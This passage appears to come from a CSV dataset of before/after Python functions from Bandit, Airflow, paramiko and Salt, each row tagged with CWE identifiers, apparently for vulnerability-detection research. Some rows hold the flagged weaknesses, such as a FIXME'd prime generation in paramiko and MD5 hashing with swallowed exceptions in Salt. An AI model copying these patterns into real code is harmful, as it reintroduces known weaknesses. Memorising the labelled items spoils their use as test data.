        ""--confidence"",
        dest=""confidence"",
        action=""count"",
        default=1,
        help=""report only issues of a given confidence level or ""
        ""higher (-i for LOW, -ii for MEDIUM, -iii for HIGH)"",
    )
    confidence_group.add_argument(
        ""--confidence-level"",
        dest=""confidence_string"",
        action=""store"",
        help=""report only issues of a given confidence level or higher.""
        ' ""all"" and ""low"" are likely to produce the same results, but it'
        "" is possible for rules to be undefined which will""
        ' not be listed in ""low"".',
        choices=[""all"", ""low"", ""medium"", ""high""],
    )
    output_format = (
        ""screen""
        if (
            sys.stdout.isatty()
            and os.getenv(""NO_COLOR"") is None
            and os.getenv(""TERM"") != ""dumb""
        )
        else ""txt""
    )
    parser.add_argument(
        ""-f"",
        ""--format"",
        dest=""output_format"",
        action=""store"",
        default=output_format,
        help=""specify output format"",
        choices=sorted(extension_mgr.formatter_names),
    )
    parser.add_argument(
        ""--msg-template"",
        action=""store"",
        default=None,
        help=""specify output message template""
        "" (only usable with --format custom),""
        "" see CUSTOM FORMAT section""
        "" for list of available values"",
    )
    parser.add_argument(
        ""-o"",
        ""--output"",
        dest=""output_file"",
        action=""store"",
        nargs=""?"",
        type=argparse.FileType(""w"", encoding=""utf-8""),
        default=sys.stdout,
        help=""write report to filename"",
    )
    group = parser.add_mutually_exclusive_group(required=False)
    group.add_argument(
        ""-v"",
        ""--verbose"",
        dest=""verbose"",
        action=""store_true"",
        help=""output extra information like excluded and included files"",
    )
    parser.add_argument(
        ""-d"",
        ""--debug"",
        dest=""debug"",
        action=""store_true"",
        help=""turn on debug mode"",
    )
    group.add_argument(
        ""-q"",
        ""--quiet"",
        ""--silent"",
        dest=""quiet"",
        action=""store_true"",
        help=""only show output in the case of an error"",
    )
    parser.add_argument(
        ""--ignore-nosec"",
        dest=""ignore_nosec"",
        action=""store_true"",
        help=""do not skip lines with # nosec comments"",
    )
    parser.add_argument(
        ""-x"",
        ""--exclude"",
        dest=""excluded_paths"",
        action=""store"",
        default="","".join(constants.EXCLUDE),
        help=""comma-separated list of paths (glob patterns ""
        ""supported) to exclude from scan ""
        ""(note that these are in addition to the excluded ""
        ""paths provided in the config file) (default: ""
        + "","".join(constants.EXCLUDE)
        + "")"",
    )
    parser.add_argument(
        ""-b"",
        ""--baseline"",
        dest=""baseline"",
        action=""store"",
        default=None,
        help=""path of a baseline report to compare against ""
        ""(only JSON-formatted files are accepted)"",
    )
    parser.add_argument(
        ""--ini"",
        dest=""ini_path"",
        action=""store"",
        default=None,
        help=""path to a .bandit file that supplies command line arguments"",
    )
    parser.add_argument(
        ""--exit-zero"",
        action=""store_true"",
        dest=""exit_zero"",
        default=False,
        help=""exit with 0, "" ""even with results found"",
    )
    python_ver = sys.version.replace(""\n"", """")
    parser.add_argument(
        ""--version"",
        action=""version"",
        version=""%(prog)s {version}\n  python version = {python}"".format(
            version=bandit.__version__, python=python_ver
        ),
    )

    parser.set_defaults(debug=False)
    parser.set_defaults(verbose=False)
    parser.set_defaults(quiet=False)
    parser.set_defaults(ignore_nosec=False)

    plugin_info = [
        f""{a[0]}\t{a[1].name}"" for a in extension_mgr.plugins_by_id.items()
    ]
    blacklist_info = []
    for a in extension_mgr.blacklist.items():
        for b in a[1]:
            blacklist_info.append(""{}\t{}"".format(b[""id""], b[""name""]))

    plugin_list = ""\n\t"".join(sorted(set(plugin_info + blacklist_info)))
    dedent_text = textwrap.dedent(
        """"""
    CUSTOM FORMATTING
    -----------------

    Available tags:

        {abspath}, {relpath}, {line}, {col}, {test_id},
        {severity}, {msg}, {confidence}, {range}

    Example usage:

        Default template:
        bandit -r examples/ --format custom --msg-template \\
        ""{abspath}:{line}: {test_id}[bandit]: {severity}: {msg}""

        Provides same output as:
        bandit -r examples/ --format custom

        Tags can also be formatted in python string.format() style:
        bandit -r examples/ --format custom --msg-template \\
        ""{relpath:20.20s}: {line:03}: {test_id:^8}: DEFECT: {msg:>20}""

        See python documentation for more information about formatting style:
        https://docs.python.org/3/library/string.html

    The following tests were discovered and loaded:
    -----------------------------------------------
    """"""
    )
    parser.epilog = dedent_text + f""\t{plugin_list}""

    # setup work - parse arguments, and initialize BanditManager
    args = parser.parse_args()
    # Check if `--msg-template` is not present without custom formatter
    if args.output_format != ""custom"" and args.msg_template is not None:
        parser.error(""--msg-template can only be used with --format=custom"")

    # Check if confidence or severity level have been specified with strings
    if args.severity_string is not None:
        if args.severity_string == ""all"":
            args.severity = 1
        elif args.severity_string == ""low"":
            args.severity = 2
        elif args.severity_string == ""medium"":
            args.severity = 3
        elif args.severity_string == ""high"":
            args.severity = 4
        # Other strings will be blocked by argparse

    if args.confidence_string is not None:
        if args.confidence_string == ""all"":
            args.confidence = 1
        elif args.confidence_string == ""low"":
            args.confidence = 2
        elif args.confidence_string == ""medium"":
            args.confidence = 3
        elif args.confidence_string == ""high"":
            args.confidence = 4
        # Other strings will be blocked by argparse

    try:
        b_conf = b_config.BanditConfig(config_file=args.config_file)
    except utils.ConfigError as e:
        LOG.error(e)
        sys.exit(2)

    # Handle .bandit files in projects to pass cmdline args from file
    ini_options = _get_options_from_ini(args.ini_path, args.targets)
    if ini_options:
        # prefer command line, then ini file
        args.excluded_paths = _log_option_source(
            parser.get_default(""excluded_paths""),
            args.excluded_paths,
            ini_options.get(""exclude""),
            ""excluded paths"",
        )

        args.skips = _log_option_source(
            parser.get_default(""skips""),
            args.skips,
            ini_options.get(""skips""),
            ""skipped tests"",
        )

        args.tests = _log_option_source(
            parser.get_default(""tests""),
            args.tests,
            ini_options.get(""tests""),
            ""selected tests"",
        )

        ini_targets = ini_options.get(""targets"")
        if ini_targets:
            ini_targets = ini_targets.split("","")

        args.targets = _log_option_source(
            parser.get_default(""targets""),
            args.targets,
            ini_targets,
            ""selected targets"",
        )

        # TODO(tmcpeak): any other useful options to pass from .bandit?

        args.recursive = _log_option_source(
            parser.get_default(""recursive""),
            args.recursive,
            ini_options.get(""recursive""),
            ""recursive scan"",
        )

        args.agg_type = _log_option_source(
            parser.get_default(""agg_type""),
            args.agg_type,
            ini_options.get(""aggregate""),
            ""aggregate output type"",
        )

        args.context_lines = _log_option_source(
            parser.get_default(""context_lines""),
            args.context_lines,
            ini_options.get(""number""),
            ""max code lines output for issue"",
        )

        args.profile = _log_option_source(
            parser.get_default(""profile""),
            args.profile,
            ini_options.get(""profile""),
            ""profile"",
        )

        args.severity = _log_option_source(
            parser.get_default(""severity""),
            args.severity,
            ini_options.get(""level""),
            ""severity level"",
        )

        args.confidence = _log_option_source(
            parser.get_default(""confidence""),
            args.confidence,
            ini_options.get(""confidence""),
            ""confidence level"",
        )

        args.output_format = _log_option_source(
            parser.get_default(""output_format""),
            args.output_format,
            ini_options.get(""format""),
            ""output format"",
        )

        args.msg_template = _log_option_source(
            parser.get_default(""msg_template""),
            args.msg_template,
            ini_options.get(""msg-template""),
            ""output message template"",
        )

        args.output_file = _log_option_source(
            parser.get_default(""output_file""),
            args.output_file,
            ini_options.get(""output""),
            ""output file"",
        )

        args.verbose = _log_option_source(
            parser.get_default(""verbose""),
            args.verbose,
            ini_options.get(""verbose""),
            ""output extra information"",
        )

        args.debug = _log_option_source(
            parser.get_default(""debug""),
            args.debug,
            ini_options.get(""debug""),
            ""debug mode"",
        )

        args.quiet = _log_option_source(
            parser.get_default(""quiet""),
            args.quiet,
            ini_options.get(""quiet""),
            ""silent mode"",
        )

        args.ignore_nosec = _log_option_source(
            parser.get_default(""ignore_nosec""),
            args.ignore_nosec,
            ini_options.get(""ignore-nosec""),
            ""do not skip lines with # nosec"",
        )

        args.baseline = _log_option_source(
            parser.get_default(""baseline""),
            args.baseline,
            ini_options.get(""baseline""),
            ""path of a baseline report"",
        )

    if not args.targets:
        parser.print_usage()
        sys.exit(2)

    # if the log format string was set in the options, reinitialize
    if b_conf.get_option(""log_format""):
        log_format = b_conf.get_option(""log_format"")
        _init_logger(log_level=logging.DEBUG, log_format=log_format)

    if args.quiet:
        _init_logger(log_level=logging.WARN)

    try:
        profile = _get_profile(b_conf, args.profile, args.config_file)
        _log_info(args, profile)

        profile[""include""].update(args.tests.split("","") if args.tests else [])
        profile[""exclude""].update(args.skips.split("","") if args.skips else [])
        extension_mgr.validate_profile(profile)

    except (utils.ProfileNotFound, ValueError) as e:
        LOG.error(e)
        sys.exit(2)

    b_mgr = b_manager.BanditManager(
        b_conf,
        args.agg_type,
        args.debug,
        profile=profile,
        verbose=args.verbose,
        quiet=args.quiet,
        ignore_nosec=args.ignore_nosec,
    )

    if args.baseline is not None:
        try:
            with open(args.baseline) as bl:
                data = bl.read()
                b_mgr.populate_baseline(data)
        except OSError:
            LOG.warning(""Could not open baseline report: %s"", args.baseline)
            sys.exit(2)

        if args.output_format not in baseline_formatters:
            LOG.warning(
                ""Baseline must be used with one of the following ""
                ""formats: "" + str(baseline_formatters)
            )
            sys.exit(2)

    if args.output_format != ""json"":
        if args.config_file:
            LOG.info(""using config: %s"", args.config_file)

        LOG.info(
            ""running on Python %d.%d.%d"",
            sys.version_info.major,
            sys.version_info.minor,
            sys.version_info.micro,
        )

    # initiate file discovery step within Bandit Manager
    b_mgr.discover_files(args.targets, args.recursive, args.excluded_paths)

    if not b_mgr.b_ts.tests:
        LOG.error(""No tests would be run, please check the profile."")
        sys.exit(2)

    # initiate execution of tests within Bandit Manager
    b_mgr.run_tests()
    LOG.debug(b_mgr.b_ma)
    LOG.debug(b_mgr.metrics)

    # trigger output of results by Bandit Manager
    sev_level = constants.RANKING[args.severity - 1]
    conf_level = constants.RANKING[args.confidence - 1]
    b_mgr.output_results(
        args.context_lines,
        sev_level,
        conf_level,
        args.output_file,
        args.output_format,
        args.msg_template,
    )

    if (
        b_mgr.results_count(sev_filter=sev_level, conf_filter=conf_level) > 0
        and not args.exit_zero
    ):
        sys.exit(1)
    else:
        sys.exit(0)",UNKNOWN,PyCQA/bandit,1691b935fb0b8fabe4d3a0c151ae73e8b16e5cc8,"def main():
    """"""Bandit CLI.""""""
    # bring our logging stuff up as early as possible
    debug = (
        logging.DEBUG
        if ""-d"" in sys.argv or ""--debug"" in sys.argv
        else logging.INFO
    )
    _init_logger(debug)
    extension_mgr = _init_extensions()

    baseline_formatters = [
        f.name
        for f in filter(
            lambda x: hasattr(x.plugin, ""_accepts_baseline""),
            extension_mgr.formatters,
        )
    ]

    # now do normal startup
    parser = argparse.ArgumentParser(
        description=""Bandit - a Python source code security analyzer"",
        formatter_class=argparse.RawDescriptionHelpFormatter,
    )
    parser.add_argument(
        ""targets"",
        metavar=""targets"",
        type=str,
        nargs=""*"",
        help=""source file(s) or directory(s) to be tested"",
    )
    parser.add_argument(
        ""-r"",
        ""--recursive"",
        dest=""recursive"",
        action=""store_true"",
        help=""find and process files in subdirectories"",
    )
    parser.add_argument(
        ""-a"",
        ""--aggregate"",
        dest=""agg_type"",
        action=""store"",
        default=""file"",
        type=str,
        choices=[""file"", ""vuln""],
        help=""aggregate output by vulnerability (default) or by filename"",
    )
    parser.add_argument(
        ""-n"",
        ""--number"",
        dest=""context_lines"",
        action=""store"",
        default=3,
        type=int,
        help=""maximum number of code lines to output for each issue"",
    )
    parser.add_argument(
        ""-c"",
        ""--configfile"",
        dest=""config_file"",
        action=""store"",
        default=None,
        type=str,
        help=""optional config file to use for selecting plugins and ""
        ""overriding defaults"",
    )
    parser.add_argument(
        ""-p"",
        ""--profile"",
        dest=""profile"",
        action=""store"",
        default=None,
        type=str,
        help=""profile to use (defaults to executing all tests)"",
    )
    parser.add_argument(
        ""-t"",
        ""--tests"",
        dest=""tests"",
        action=""store"",
        default=None,
        type=str,
        help=""comma-separated list of test IDs to run"",
    )
    parser.add_argument(
        ""-s"",
        ""--skip"",
        dest=""skips"",
        action=""store"",
        default=None,
        type=str,
        help=""comma-separated list of test IDs to skip"",
    )
    severity_group = parser.add_mutually_exclusive_group(required=False)
    severity_group.add_argument(
        ""-l"",
        ""--level"",
        dest=""severity"",
        action=""count"",
        default=1,
        help=""report only issues of a given severity level or ""
        ""higher (-l for LOW, -ll for MEDIUM, -lll for HIGH)"",
    )
    severity_group.add_argument(
        ""--severity-level"",
        dest=""severity_string"",
        action=""store"",
        help=""report only issues of a given severity level or higher.""
        ' ""all"" and ""low"" are likely to produce the same results, but it'
        "" is possible for rules to be undefined which will""
        ' not be listed in ""low"".',
        choices=[""all"", ""low"", ""medium"", ""high""],
    )
    confidence_group = parser.add_mutually_exclusive_group(required=False)
    confidence_group.add_argument(
        ""-i"",
        ""--confidence"",
        dest=""confidence"",
        action=""count"",
        default=1,
        help=""report only issues of a given confidence level or ""
        ""higher (-i for LOW, -ii for MEDIUM, -iii for HIGH)"",
    )
    confidence_group.add_argument(
        ""--confidence-level"",
        dest=""confidence_string"",
        action=""store"",
        help=""report only issues of a given confidence level or higher.""
        ' ""all"" and ""low"" are likely to produce the same results, but it'
        "" is possible for rules to be undefined which will""
        ' not be listed in ""low"".',
        choices=[""all"", ""low"", ""medium"", ""high""],
    )
    output_format = ""screen"" if sys.stdout.isatty() else ""txt""
    parser.add_argument(
        ""-f"",
        ""--format"",
        dest=""output_format"",
        action=""store"",
        default=output_format,
        help=""specify output format"",
        choices=sorted(extension_mgr.formatter_names),
    )
    parser.add_argument(
        ""--msg-template"",
        action=""store"",
        default=None,
        help=""specify output message template""
        "" (only usable with --format custom),""
        "" see CUSTOM FORMAT section""
        "" for list of available values"",
    )
    parser.add_argument(
        ""-o"",
        ""--output"",
        dest=""output_file"",
        action=""store"",
        nargs=""?"",
        type=argparse.FileType(""w"", encoding=""utf-8""),
        default=sys.stdout,
        help=""write report to filename"",
    )
    group = parser.add_mutually_exclusive_group(required=False)
    group.add_argument(
        ""-v"",
        ""--verbose"",
        dest=""verbose"",
        action=""store_true"",
        help=""output extra information like excluded and included files"",
    )
    parser.add_argument(
        ""-d"",
        ""--debug"",
        dest=""debug"",
        action=""store_true"",
        help=""turn on debug mode"",
    )
    group.add_argument(
        ""-q"",
        ""--quiet"",
        ""--silent"",
        dest=""quiet"",
        action=""store_true"",
        help=""only show output in the case of an error"",
    )
    parser.add_argument(
        ""--ignore-nosec"",
        dest=""ignore_nosec"",
        action=""store_true"",
        help=""do not skip lines with # nosec comments"",
    )
    parser.add_argument(
        ""-x"",
        ""--exclude"",
        dest=""excluded_paths"",
        action=""store"",
        default="","".join(constants.EXCLUDE),
        help=""comma-separated list of paths (glob patterns ""
        ""supported) to exclude from scan ""
        ""(note that these are in addition to the excluded ""
        ""paths provided in the config file) (default: ""
        + "","".join(constants.EXCLUDE)
        + "")"",
    )
    parser.add_argument(
        ""-b"",
        ""--baseline"",
        dest=""baseline"",
        action=""store"",
        default=None,
        help=""path of a baseline report to compare against ""
        ""(only JSON-formatted files are accepted)"",
    )
    parser.add_argument(
        ""--ini"",
        dest=""ini_path"",
        action=""store"",
        default=None,
        help=""path to a .bandit file that supplies command line arguments"",
    )
    parser.add_argument(
        ""--exit-zero"",
        action=""store_true"",
        dest=""exit_zero"",
        default=False,
        help=""exit with 0, "" ""even with results found"",
    )
    python_ver = sys.version.replace(""\n"", """")
    parser.add_argument(
        ""--version"",
        action=""version"",
        version=""%(prog)s {version}\n  python version = {python}"".format(
            version=bandit.__version__, python=python_ver
        ),
    )

    parser.set_defaults(debug=False)
    parser.set_defaults(verbose=False)
    parser.set_defaults(quiet=False)
    parser.set_defaults(ignore_nosec=False)

    plugin_info = [
        f""{a[0]}\t{a[1].name}"" for a in extension_mgr.plugins_by_id.items()
    ]
    blacklist_info = []
    for a in extension_mgr.blacklist.items():
        for b in a[1]:
            blacklist_info.append(""{}\t{}"".format(b[""id""], b[""name""]))

    plugin_list = ""\n\t"".join(sorted(set(plugin_info + blacklist_info)))
    dedent_text = textwrap.dedent(
        """"""
    CUSTOM FORMATTING
    -----------------

    Available tags:

        {abspath}, {relpath}, {line}, {col}, {test_id},
        {severity}, {msg}, {confidence}, {range}

    Example usage:

        Default template:
        bandit -r examples/ --format custom --msg-template \\
        ""{abspath}:{line}: {test_id}[bandit]: {severity}: {msg}""

        Provides same output as:
        bandit -r examples/ --format custom

        Tags can also be formatted in python string.format() style:
        bandit -r examples/ --format custom --msg-template \\
        ""{relpath:20.20s}: {line:03}: {test_id:^8}: DEFECT: {msg:>20}""

        See python documentation for more information about formatting style:
        https://docs.python.org/3/library/string.html

    The following tests were discovered and loaded:
    -----------------------------------------------
    """"""
    )
    parser.epilog = dedent_text + f""\t{plugin_list}""

    # setup work - parse arguments, and initialize BanditManager
    args = parser.parse_args()
    # Check if `--msg-template` is not present without custom formatter
    if args.output_format != ""custom"" and args.msg_template is not None:
        parser.error(""--msg-template can only be used with --format=custom"")

    # Check if confidence or severity level have been specified with strings
    if args.severity_string is not None:
        if args.severity_string == ""all"":
            args.severity = 1
        elif args.severity_string == ""low"":
            args.severity = 2
        elif args.severity_string == ""medium"":
            args.severity = 3
        elif args.severity_string == ""high"":
            args.severity = 4
        # Other strings will be blocked by argparse

    if args.confidence_string is not None:
        if args.confidence_string == ""all"":
            args.confidence = 1
        elif args.confidence_string == ""low"":
            args.confidence = 2
        elif args.confidence_string == ""medium"":
            args.confidence = 3
        elif args.confidence_string == ""high"":
            args.confidence = 4
        # Other strings will be blocked by argparse

    try:
        b_conf = b_config.BanditConfig(config_file=args.config_file)
    except utils.ConfigError as e:
        LOG.error(e)
        sys.exit(2)

    # Handle .bandit files in projects to pass cmdline args from file
    ini_options = _get_options_from_ini(args.ini_path, args.targets)
    if ini_options:
        # prefer command line, then ini file
        args.excluded_paths = _log_option_source(
            parser.get_default(""excluded_paths""),
            args.excluded_paths,
            ini_options.get(""exclude""),
            ""excluded paths"",
        )

        args.skips = _log_option_source(
            parser.get_default(""skips""),
            args.skips,
            ini_options.get(""skips""),
            ""skipped tests"",
        )

        args.tests = _log_option_source(
            parser.get_default(""tests""),
            args.tests,
            ini_options.get(""tests""),
            ""selected tests"",
        )

        ini_targets = ini_options.get(""targets"")
        if ini_targets:
            ini_targets = ini_targets.split("","")

        args.targets = _log_option_source(
            parser.get_default(""targets""),
            args.targets,
            ini_targets,
            ""selected targets"",
        )

        # TODO(tmcpeak): any other useful options to pass from .bandit?

        args.recursive = _log_option_source(
            parser.get_default(""recursive""),
            args.recursive,
            ini_options.get(""recursive""),
            ""recursive scan"",
        )

        args.agg_type = _log_option_source(
            parser.get_default(""agg_type""),
            args.agg_type,
            ini_options.get(""aggregate""),
            ""aggregate output type"",
        )

        args.context_lines = _log_option_source(
            parser.get_default(""context_lines""),
            args.context_lines,
            ini_options.get(""number""),
            ""max code lines output for issue"",
        )

        args.profile = _log_option_source(
            parser.get_default(""profile""),
            args.profile,
            ini_options.get(""profile""),
            ""profile"",
        )

        args.severity = _log_option_source(
            parser.get_default(""severity""),
            args.severity,
            ini_options.get(""level""),
            ""severity level"",
        )

        args.confidence = _log_option_source(
            parser.get_default(""confidence""),
            args.confidence,
            ini_options.get(""confidence""),
            ""confidence level"",
        )

        args.output_format = _log_option_source(
            parser.get_default(""output_format""),
            args.output_format,
            ini_options.get(""format""),
            ""output format"",
        )

        args.msg_template = _log_option_source(
            parser.get_default(""msg_template""),
            args.msg_template,
            ini_options.get(""msg-template""),
            ""output message template"",
        )

        args.output_file = _log_option_source(
            parser.get_default(""output_file""),
            args.output_file,
            ini_options.get(""output""),
            ""output file"",
        )

        args.verbose = _log_option_source(
            parser.get_default(""verbose""),
            args.verbose,
            ini_options.get(""verbose""),
            ""output extra information"",
        )

        args.debug = _log_option_source(
            parser.get_default(""debug""),
            args.debug,
            ini_options.get(""debug""),
            ""debug mode"",
        )

        args.quiet = _log_option_source(
            parser.get_default(""quiet""),
            args.quiet,
            ini_options.get(""quiet""),
            ""silent mode"",
        )

        args.ignore_nosec = _log_option_source(
            parser.get_default(""ignore_nosec""),
            args.ignore_nosec,
            ini_options.get(""ignore-nosec""),
            ""do not skip lines with # nosec"",
        )

        args.baseline = _log_option_source(
            parser.get_default(""baseline""),
            args.baseline,
            ini_options.get(""baseline""),
            ""path of a baseline report"",
        )

    if not args.targets:
        parser.print_usage()
        sys.exit(2)

    # if the log format string was set in the options, reinitialize
    if b_conf.get_option(""log_format""):
        log_format = b_conf.get_option(""log_format"")
        _init_logger(log_level=logging.DEBUG, log_format=log_format)

    if args.quiet:
        _init_logger(log_level=logging.WARN)

    try:
        profile = _get_profile(b_conf, args.profile, args.config_file)
        _log_info(args, profile)

        profile[""include""].update(args.tests.split("","") if args.tests else [])
        profile[""exclude""].update(args.skips.split("","") if args.skips else [])
        extension_mgr.validate_profile(profile)

    except (utils.ProfileNotFound, ValueError) as e:
        LOG.error(e)
        sys.exit(2)

    b_mgr = b_manager.BanditManager(
        b_conf,
        args.agg_type,
        args.debug,
        profile=profile,
        verbose=args.verbose,
        quiet=args.quiet,
        ignore_nosec=args.ignore_nosec,
    )

    if args.baseline is not None:
        try:
            with open(args.baseline) as bl:
                data = bl.read()
                b_mgr.populate_baseline(data)
        except OSError:
            LOG.warning(""Could not open baseline report: %s"", args.baseline)
            sys.exit(2)

        if args.output_format not in baseline_formatters:
            LOG.warning(
                ""Baseline must be used with one of the following ""
                ""formats: "" + str(baseline_formatters)
            )
            sys.exit(2)

    if args.output_format != ""json"":
        if args.config_file:
            LOG.info(""using config: %s"", args.config_file)

        LOG.info(
            ""running on Python %d.%d.%d"",
            sys.version_info.major,
            sys.version_info.minor,
            sys.version_info.micro,
        )

    # initiate file discovery step within Bandit Manager
    b_mgr.discover_files(args.targets, args.recursive, args.excluded_paths)

    if not b_mgr.b_ts.tests:
        LOG.error(""No tests would be run, please check the profile."")
        sys.exit(2)

    # initiate execution of tests within Bandit Manager
    b_mgr.run_tests()
    LOG.debug(b_mgr.b_ma)
    LOG.debug(b_mgr.metrics)

    # trigger output of results by Bandit Manager
    sev_level = constants.RANKING[args.severity - 1]
    conf_level = constants.RANKING[args.confidence - 1]
    b_mgr.output_results(
        args.context_lines,
        sev_level,
        conf_level,
        args.output_file,
        args.output_format,
        args.msg_template,
    )

    if (
        b_mgr.results_count(sev_filter=sev_level, conf_filter=conf_level) > 0
        and not args.exit_zero
    ):
        sys.exit(1)
    else:
        sys.exit(0)"
,UNKNOWN,UNKNOWN,tests/utils/test_file.py,1,"def test_correct_maybe_zipped_archive(self, mocked_is_zipfile):
        path = ""/path/to/archive.zip/deep/path/to/file.txt""
        mocked_is_zipfile.return_value = True

        dag_folder = correct_maybe_zipped(path)

        assert mocked_is_zipfile.call_count == 1
        (args, kwargs) = mocked_is_zipfile.call_args_list[0]
        assert args[0] == ""/path/to/archive.zip""

        assert dag_folder == ""/path/to/archive.zip""",CWE-703,apache/airflow,03349014513114f1eaa413a9831b0027e4fbfa67,"def test_correct_maybe_zipped_archive(self, mocked_is_zipfile):
        path = ""/path/to/archive.zip/deep/path/to/file.txt""
        mocked_is_zipfile.return_value = True

        dag_folder = correct_maybe_zipped(path)

        assert mocked_is_zipfile.call_count == 1
        (args, kwargs) = mocked_is_zipfile.call_args_list[0]
        assert ""/path/to/archive.zip"" == args[0]

        assert dag_folder == ""/path/to/archive.zip"""
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,airflow/cli/commands/provider_command.py,0,"def extra_links_list(args):
    """"""Lists all extra links at the command line""""""
    AirflowConsole().print_as(
        data=ProvidersManager().extra_links_class_names,
        output=args.output,
        mapper=lambda x: {
            ""extra_link_class_name"": x,
        },
    )",CWE-Unknown,apache/airflow,29aab6434ffe0fb8c83b6fd6c9e44310966d496a,"def extra_links_list(args):
    """"""Lists all extra links at the command line""""""
    AirflowConsole().print_as(
        data=ProvidersManager().extra_links_class_names,
        output=args.output,
        mapper=lambda x: {
            ""extra_link_class_name"": x,
        },
    )"
functions_for_paramiko_with_cwe.csv,UNKNOWN,UNKNOWN,kex_gex.py,0,"def parse_kexdh_gex_request(self, m):
        min = m.get_int()
        preferred = m.get_int()
        max = m.get_int()
        # smoosh the user's preferred size into our own limits
        if preferred > self.max_bits:
            preferred = self.max_bits
        if preferred < self.min_bits:
            preferred = self.min_bits
        # now save a copy
        self.min_bits = min
        self.preferred_bits = preferred
        self.max_bits = max
        # generate prime
        while 1:
            # does not work FIXME
            self.transport.log(DEBUG, 'stir...')
            self.transport.randpool.stir()
            self.transport.log(DEBUG, 'get-prime %d...' % preferred)
            self.p = number.getPrime(preferred, self.transport.randpool.get_bytes)
            self.transport.log(DEBUG, 'got ' + repr(self.p))
            if number.isPrime((self.p - 1) // 2):
                break
        self.g = 2
        m = Message()
        m.add_byte(chr(MSG_KEXDH_GEX_GROUP))
        m.add_mpint(self.p)
        m.add_mpint(self.g)
        self.transport.send_message(m)
        self.transport.expected_packet = MSG_KEXDH_GEX_INIT",,paramiko/paramiko,3b9901a602085fdee66249b14f83c158864b5f33,"def parse_kexdh_gex_request(self, m):
        min = m.get_int()
        preferred = m.get_int()
        max = m.get_int()
        # smoosh the user's preferred size into our own limits
        if preferred > self.max_bits:
            preferred = self.max_bits
        if preferred < self.min_bits:
            preferred = self.min_bits
        # now save a copy
        self.min_bits = min
        self.preferred_bits = preferred
        self.max_bits = max
        # generate prime
        while 1:
            self.transport.log(DEBUG, 'stir...')
            self.transport.randpool.stir()
            self.transport.log(DEBUG, 'get-prime %d...' % preferred)
            self.p = number.getRandomNumber(preferred, self.transport.randpool.get_bytes)
            self.transport.log(DEBUG, 'got ' + repr(self.p))
            if number.isPrime((self.p - 1) // 2):
                break
        self.g = 2
        m = Message()
        m.add_byte(chr(MSG_KEXDH_GEX_GROUP))
        m.add_mpint(self.p)
        m.add_mpint(self.g)
        self.transport.send_message(m)
        self.transport.expected_packet = MSG_KEXDH_GEX_INIT"
,UNKNOWN,UNKNOWN,salt/minion.py,1,,"CWE-94, CWE-327",saltstack/salt,cb662dcb4768b929212f12fe7a2dbb4647c65150,"def tune_in(self):
        '''
        Lock onto the publisher. This is the main event loop for the minion
        '''
        log.info(
            '{0} is starting as user \'{1}\''.format(
                self.__class__.__name__,
                getpass.getuser()
            )
        )
        log.debug('Minion ""{0}"" trying to tune in'.format(self.opts['id']))
        self.context = zmq.Context()

        # Prepare the minion event system
        #
        # Start with the publish socket
        id_hash = hashlib.md5(self.opts['id']).hexdigest()
        epub_sock_path = os.path.join(
            self.opts['sock_dir'],
            'minion_event_{0}_pub.ipc'.format(id_hash)
        )
        epull_sock_path = os.path.join(
            self.opts['sock_dir'],
            'minion_event_{0}_pull.ipc'.format(id_hash)
        )
        self.epub_sock = self.context.socket(zmq.PUB)
        if self.opts.get('ipc_mode', '') == 'tcp':
            epub_uri = 'tcp://127.0.0.1:{0}'.format(
                self.opts['tcp_pub_port']
            )
            epull_uri = 'tcp://127.0.0.1:{0}'.format(
                self.opts['tcp_pull_port']
            )
        else:
            epub_uri = 'ipc://{0}'.format(epub_sock_path)
            salt.utils.check_ipc_path_max_len(epub_uri)
            epull_uri = 'ipc://{0}'.format(epull_sock_path)
            salt.utils.check_ipc_path_max_len(epull_uri)
        log.debug(
            '{0} PUB socket URI: {1}'.format(
                self.__class__.__name__, epub_uri
            )
        )
        log.debug(
            '{0} PULL socket URI: {1}'.format(
                self.__class__.__name__, epull_uri
            )
        )

        # Create the pull socket
        self.epull_sock = self.context.socket(zmq.PULL)
        # Bind the event sockets
        self.epub_sock.bind(epub_uri)
        self.epull_sock.bind(epull_uri)
        # Restrict access to the sockets
        if not self.opts.get('ipc_mode', '') == 'tcp':
            os.chmod(
                epub_sock_path,
                448
            )
            os.chmod(
                epull_sock_path,
                448
            )

        self.poller = zmq.Poller()
        self.epoller = zmq.Poller()
        self.socket = self.context.socket(zmq.SUB)
        self.socket.setsockopt(zmq.SUBSCRIBE, '')
        self.socket.setsockopt(zmq.IDENTITY, self.opts['id'])
        if hasattr(zmq, 'RECONNECT_IVL_MAX'):
            self.socket.setsockopt(
                zmq.RECONNECT_IVL_MAX, self.opts['recon_max']
            )
        if hasattr(zmq, 'TCP_KEEPALIVE'):
            self.socket.setsockopt(
                zmq.TCP_KEEPALIVE, self.opts['tcp_keepalive']
            )
            self.socket.setsockopt(
                zmq.TCP_KEEPALIVE_IDLE, self.opts['tcp_keepalive_idle']
            )
            self.socket.setsockopt(
                zmq.TCP_KEEPALIVE_CNT, self.opts['tcp_keepalive_cnt']
            )
            self.socket.setsockopt(
                zmq.TCP_KEEPALIVE_INTVL, self.opts['tcp_keepalive_intvl']
            )
        if hasattr(zmq, 'IPV4ONLY'):
            self.socket.setsockopt(
                zmq.IPV4ONLY, int(not int(self.opts.get('ipv6_enable', False)))
            )
        self.socket.connect(self.master_pub)
        self.poller.register(self.socket, zmq.POLLIN)
        self.epoller.register(self.epull_sock, zmq.POLLIN)
        # Send an event to the master that the minion is live
        self._fire_master(
            'Minion {0} started at {1}'.format(
            self.opts['id'],
            time.asctime()
            ),
            'minion_start'
        )

        if self.opts['multiprocessing'] and not salt.utils.is_windows():
            signal.signal(signal.SIGCHLD, self.handle_sigchld)
        # Make sure to gracefully handle SIGUSR1
        enable_sigusr1_handler()

        # On first startup execute a state run if configured to do so
        self._state_run()

        while True:
            try:
                self.schedule.eval()
                socks = dict(self.poller.poll(
                    self.opts['loop_interval'] * 1000)
                )
                if self.socket in socks and socks[self.socket] == zmq.POLLIN:
                    payload = self.serial.loads(self.socket.recv())
                    self._handle_payload(payload)
                time.sleep(0.05)
                # Clean up the minion processes which have been executed and
                # have finished
                # Check if modules and grains need to be refreshed
                self.passive_refresh()
                # Check the event system
                if self.epoller.poll(1):
                    try:
                        package = self.epull_sock.recv(zmq.NOBLOCK)
                        self.epub_sock.send(package)
                    except Exception:
                        pass
            except zmq.ZMQError:
                # This is thrown by the inturupt caused by python handling the
                # SIGCHLD. This is a safe error and we just start the poll
                # again
                continue
            except Exception:
                log.critical(traceback.format_exc())"
